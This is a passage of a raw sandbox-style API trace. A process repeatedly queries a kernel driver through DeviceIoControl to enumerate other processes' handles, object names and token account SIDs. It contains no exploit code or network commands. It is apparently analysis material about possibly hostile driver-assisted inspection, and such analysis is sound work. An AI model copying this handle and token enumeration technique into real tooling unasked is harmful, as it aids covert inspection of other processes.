(Object=0xfffffa8002f81a20) returned 0x1 [0123.635] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.635] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.635] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.635] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.635] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.635] PsAcquireProcessExitSynchronization () returned 0x0 [0123.635] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880044355d0) [0123.635] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.635] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.635] PsReleaseProcessExitSynchronization () returned 0x2 [0123.635] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0123.635] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.635] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.635] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.636] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.636] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.636] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0123.636] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.636] PsAcquireProcessExitSynchronization () returned 0x0 [0123.636] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880044355d0) [0123.636] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80034ac070, HandleInformation=0x0) returned 0x0 [0123.636] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.636] PsReleaseProcessExitSynchronization () returned 0x2 [0123.636] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0123.636] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.636] ObfDereferenceObject (Object=0xfffffa80034ac070) returned 0x1 [0123.636] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.636] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.636] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.636] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.636] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.636] PsAcquireProcessExitSynchronization () returned 0x0 [0123.636] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880044355d0) [0123.636] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001e73f00, HandleInformation=0x0) returned 0x0 [0123.636] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.636] PsReleaseProcessExitSynchronization () returned 0x2 [0123.636] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0123.636] ObQueryNameString (in: Object=0xfffff8a001e73f00, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.636] ObfDereferenceObject (Object=0xfffff8a001e73f00) returned 0x1 [0123.636] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.636] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.636] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.636] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0123.636] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.636] PsAcquireProcessExitSynchronization () returned 0x0 [0123.636] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880044355d0) [0123.636] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80026e2c40, HandleInformation=0x0) returned 0x0 [0123.636] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.637] PsReleaseProcessExitSynchronization () returned 0x2 [0123.637] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0123.637] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0123.637] ObfDereferenceObject (Object=0xfffffa80026e2c40) returned 0x1 [0123.637] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.637] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.637] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.637] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0123.637] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.637] PsAcquireProcessExitSynchronization () returned 0x0 [0123.637] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880044355d0) [0123.637] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003518f20, HandleInformation=0x0) returned 0x0 [0123.637] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.637] PsReleaseProcessExitSynchronization () returned 0x2 [0123.637] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0123.637] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800371b7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800371b7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0123.637] ObfDereferenceObject (Object=0xfffffa8003518f20) returned 0x1 [0123.637] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.637] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.637] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.637] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0123.637] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.637] PsAcquireProcessExitSynchronization () returned 0x0 [0123.637] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880044355d0) [0123.637] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0123.637] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.637] PsReleaseProcessExitSynchronization () returned 0x2 [0123.637] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0123.637] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80037a2444, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80037a2444, ReturnLength=0xfffff88004435550) returned 0x0 [0123.637] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0123.637] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.638] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.638] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.638] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0123.638] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.638] PsAcquireProcessExitSynchronization () returned 0x0 [0123.638] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880044355d0) [0123.638] ObReferenceObjectByHandle (in: Handle=0xd8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003544310, HandleInformation=0x0) returned 0x0 [0123.638] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.638] PsReleaseProcessExitSynchronization () returned 0x2 [0123.638] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0123.638] ObQueryNameString (in: Object=0xfffffa8003544310, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0123.638] ObfDereferenceObject (Object=0xfffffa8003544310) returned 0x1 [0123.638] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.638] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.638] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.638] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0123.638] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.638] PsAcquireProcessExitSynchronization () returned 0x0 [0123.638] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880044355d0) [0123.638] ObReferenceObjectByHandle (in: Handle=0xe4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0123.638] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.638] PsReleaseProcessExitSynchronization () returned 0x2 [0123.638] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0123.638] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80037a3644, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80037a3644, ReturnLength=0xfffff88004435550) returned 0x0 [0123.638] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0123.638] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.638] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.638] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.638] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0123.638] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.638] PsAcquireProcessExitSynchronization () returned 0x0 [0123.638] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880044355d0) [0123.638] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0123.638] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.639] PsReleaseProcessExitSynchronization () returned 0x2 [0123.639] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0123.639] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.639] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x8 [0123.639] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.639] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.639] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xf34) returned 0xc0 [0123.639] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.639] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa800394e060, HandleInformation=0x0) returned 0x0 [0123.639] ObOpenObjectByPointer (in: Object=0xfffffa800394e060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000960) returned 0x0 [0123.639] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0x14 [0123.639] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000960, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.639] ZwClose (Handle=0xffffffff80000960) returned 0x0 [0123.639] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.639] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.639] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.640] CloseHandle (hObject=0xc8) returned 1 [0123.640] CloseHandle (hObject=0xc0) returned 1 [0123.640] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.640] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.640] PsLookupProcessByProcessId (in: ProcessId=0xf34, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.641] PsAcquireProcessExitSynchronization () returned 0x0 [0123.641] KeStackAttachProcess (in: PROCESS=0xfffffa800394e060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800394e060, ApcState=0xfffff880044355d0) [0123.641] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800231c360, HandleInformation=0x0) returned 0x0 [0123.641] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.641] PsReleaseProcessExitSynchronization () returned 0x2 [0123.641] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0x12 [0123.641] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.641] ObfDereferenceObject (Object=0xfffffa800231c360) returned 0x1 [0123.641] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.641] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.641] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.641] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0123.641] PsLookupProcessByProcessId (in: ProcessId=0xf34, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.641] PsAcquireProcessExitSynchronization () returned 0x0 [0123.641] KeStackAttachProcess (in: PROCESS=0xfffffa800394e060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800394e060, ApcState=0xfffff880044355d0) [0123.641] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002004d00, HandleInformation=0x0) returned 0x0 [0123.641] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.641] PsReleaseProcessExitSynchronization () returned 0x2 [0123.641] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0x12 [0123.641] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.641] ObfDereferenceObject (Object=0xfffffa8002004d00) returned 0x1 [0123.641] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.641] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.641] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.642] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0123.642] PsLookupProcessByProcessId (in: ProcessId=0xf34, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.642] PsAcquireProcessExitSynchronization () returned 0x0 [0123.642] KeStackAttachProcess (in: PROCESS=0xfffffa800394e060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800394e060, ApcState=0xfffff880044355d0) [0123.642] ObReferenceObjectByHandle (in: Handle=0x74, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80038bd300, HandleInformation=0x0) returned 0x0 [0123.642] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.642] PsReleaseProcessExitSynchronization () returned 0x2 [0123.642] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0x12 [0123.642] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.642] ObfDereferenceObject (Object=0xfffffa80038bd300) returned 0x3 [0123.642] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.642] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.642] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.642] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0123.642] PsLookupProcessByProcessId (in: ProcessId=0xf34, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.642] PsAcquireProcessExitSynchronization () returned 0x0 [0123.642] KeStackAttachProcess (in: PROCESS=0xfffffa800394e060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800394e060, ApcState=0xfffff880044355d0) [0123.642] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80038c7290, HandleInformation=0x0) returned 0x0 [0123.642] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.642] PsReleaseProcessExitSynchronization () returned 0x2 [0123.642] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0x12 [0123.642] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.642] ObfDereferenceObject (Object=0xfffffa80038c7290) returned 0x1 [0123.642] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.642] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.642] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xf3c) returned 0xc0 [0123.642] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.642] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80038c9060, HandleInformation=0x0) returned 0x0 [0123.642] ObOpenObjectByPointer (in: Object=0xfffffa80038c9060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000960) returned 0x0 [0123.642] ObfDereferenceObject (Object=0xfffffa80038c9060) returned 0x29 [0123.642] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000960, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.642] ZwClose (Handle=0xffffffff80000960) returned 0x0 [0123.643] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.643] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.643] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | 